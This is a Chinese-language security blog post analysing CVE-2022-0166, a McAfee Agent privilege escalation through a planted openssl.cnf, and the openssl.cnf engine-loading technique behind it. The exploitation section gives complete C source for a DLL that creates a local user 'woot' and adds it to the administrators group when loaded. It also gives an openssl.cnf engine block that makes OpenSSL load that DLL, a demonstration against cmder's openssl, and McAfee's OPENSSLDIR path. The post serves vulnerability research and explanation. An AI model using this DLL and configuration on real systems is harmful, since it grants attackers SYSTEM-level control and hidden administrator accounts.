从CVE-2022-0166 Mcafee Agent提权学习openssl.cnf利用技巧 2022-01-27 09:49:19 Steven Xeldax ## 起因 最近一个消息引起了我的注意,mcafee的agent存在提权漏洞  但是从google和twitter上搜搜就只能发现对于这个漏洞的一些直言片语 https://kc.mcafee.com/corporate/index?page=content&id=SB10378 ``` A privilege escalation vulnerability in the McAfee Agent prior to 5.7.5 affecting all supported operating systems. McAfee Agent uses openssl.cnf during the build process to specify the OPENSSLDIR variable as a subdirectory within the installation directory. A low privilege user could have created subdirectories and executed arbitrary code with SYSTEM privileges by creating the appropriate pathway to the specifically created malicious openssl.cnf file. ```  https://www.tenable.com/plugins/nessus/157126 ``` - A privilege escalation vulnerability in the McAfee Agent prior to 5.7.5. McAfee Agent uses openssl.cnf during the build process to specify the OPENSSLDIR variable as a subdirectory within the installation directory. A low privilege user could have created subdirectories and executed arbitrary code with SYSTEM privileges by creating the appropriate pathway to the specifically created malicious openssl.cnf file. (CVE-2022-0166) Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number. ``` 从这些描述上看这个漏洞不是一个二进制漏洞,貌似原因来自于攻击者可以控制openssl.cnf的文件内容并修改其中的配置进行一个提权。 除此之外我们无法获得进一步更加有效的信息,GitHub上也无法搜索到这个漏洞的poc。 ## openssl.cnf存在的历史问题 关于openssl.cnf存在的问题已经是屡见不鲜了,例如之前Acronis Cyber Backup和Cyber Protect本地提权漏洞就是和openssl cnf相关的,就连curl、openssl本身也会受到openssl.cnf问题的影响。 > https://venusense.com/new_type/aqtg/20201013/21871.html\  > https://hackerone.com/reports/608577  以及CVE-2019-12572 PIA Windows Privilege Escalation: Malicious OpenSSL Engine 也是因为能够修改openssl.cnf文件  ## openssl.cnf恶意文件利用 ### 静态分析openssl.cnf 使用openssl.cnf的文件一般是libeay32.dll,所以我们可以全局搜索libeay32.dll的文件  通过这种办法去找可能存在问题的dll以及对应的软件。 ### 动态分析openssl.cnf 另外一种办法就是结合promon过滤调用openssl.cnf的日志,结合procmon寻找进行分析 ### 利用 第一步,寻找可以写的openssldir,我们可以使用这个工具去分析libeay32.dll https://github.com/mirchr/openssldir_check  假设跑出来的OPENSSLDIR我们能够写那么尽可以尝试下一步创建这个OPNESSL cnf文件。 第二步,创建一个恶意的dll ``` /* Cross Compile with x86_64-w64-mingw32-g++ woot.c -o woot.dll -shared */ #include <windows.h> BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: system("cmd /c net user woot insertpasswordhere /add"); system("cmd /c net localgroup administrators woot /add"); break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; } return TRUE; // Successful DLL_PROCESS_ATTACH. } ``` 第三步,修改openssl.cnf ``` openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] woot = woot_section [woot_section] engine_id = woot dynamic_path = c:\\etc\\ssl\\woot.dll init = 0 ``` 最后一步,我们重新启动调用libeay32.dll的程序,然后程序会读取openssl.cnf文件并加载恶意的dll执行代码。 ## openssl.cnf实际案例 我们发现cmder中的openssl exe文件  使用了C:\Program Files\Git\mingw64\ssl\openssl.cnf 的配置文件  我们修改这个cnf文件并指向一个恶意的dll(这个dll会弹计算器) ``` openssl_conf = openssl_init [openssl_init] engines = engine_section [engine_section] woot = woot_section [woot_section] engine_id = woot dynamic_path = d:\\Temp\\woot\\woot.dll init = 0 ```  再次执行发现openssl发现成功加载了这个dll并执行了计算器   ## 关于CVE-2022-0166 CVE-2022-0166中使用的libeay32.dll是mcafee他们自己编译的,位置如下:  利用openssldir_check或者IDA可以找到OPENSSLDIR的位置 ``` D:\BUILD_1052945\BUILD\matools\build\msvc\ma_tools_outdir\openssl\ssl ```  然后创建openssl.cnf文件植入恶意配置和dll 